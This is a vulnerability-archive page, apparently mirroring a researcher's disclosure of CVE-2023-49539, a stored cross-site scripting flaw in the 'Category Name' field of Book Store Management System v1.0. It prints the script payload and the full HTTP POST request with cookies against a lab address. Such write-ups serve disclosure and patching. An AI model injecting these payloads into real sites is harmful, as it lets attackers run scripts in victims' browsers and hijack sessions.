目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-49539 PoC — Book Store Management System 安全漏洞

来源
关联漏洞
标题: Book Store Management System 安全漏洞 (CVE-2023-49539)
Description:Book Store Management System是Carlo Montero个人开发者的一个在线书店系统。 Book Store Management System v1.0 版本存在安全漏洞,该漏洞源于 /bsms_ci/index.php/category 文件存在跨站脚本漏洞。
Description
Book Store Management System v1.0 - Cross-site scripting (XSS) vulnerability in "index.php/category" - vulnerable field: "Category Name"
介绍
# CVE-2023-49539
# Book Store Management System v1.0 -  Cross-site scripting (XSS) vulnerability in "index.php/category" - vulnerable field: "Category Name"


**Description**: Book Store Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in "/bsms_ci/index.php/category". This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "category Name" field.  

**Vulnerable Product Version**: Book Store Management System v1.0  
**CVE Author**: Geraldo Alcântara  
**Date**: 29/11/2023  
**Confirmed on**: 15/12/2023  
**CVE**: CVE-2023-49539  
**Tested on**: Windows  
### Steps to reproduce:  
The vulnerability exists within the "/bsms_ci/index.php/category/" page. Specifically, when creating/editing a category, the 'Category Name' field has been identified as vulnerable. Attackers can exploit this vulnerability by injecting a cross-site scripting (XSS) payload into the "Category Name" field during the category creation/edition process.    
### Payload:
```
<\td><script>alert(document.domain)</script>
```
### Request:
```
POST /bsms_ci/index.php/category/category_update HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/bsms_ci/index.php/category
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; ci_session=72ruij3r4688s92v273ncnqjm150uvu8
Upgrade-Insecure-Requests: 1

category_code_lama=12&category_code=12&category_name=%3c%5ctd%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e&edit=Save
```
Discoverer(s)/Credits:  
Geraldo Alcântara  
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →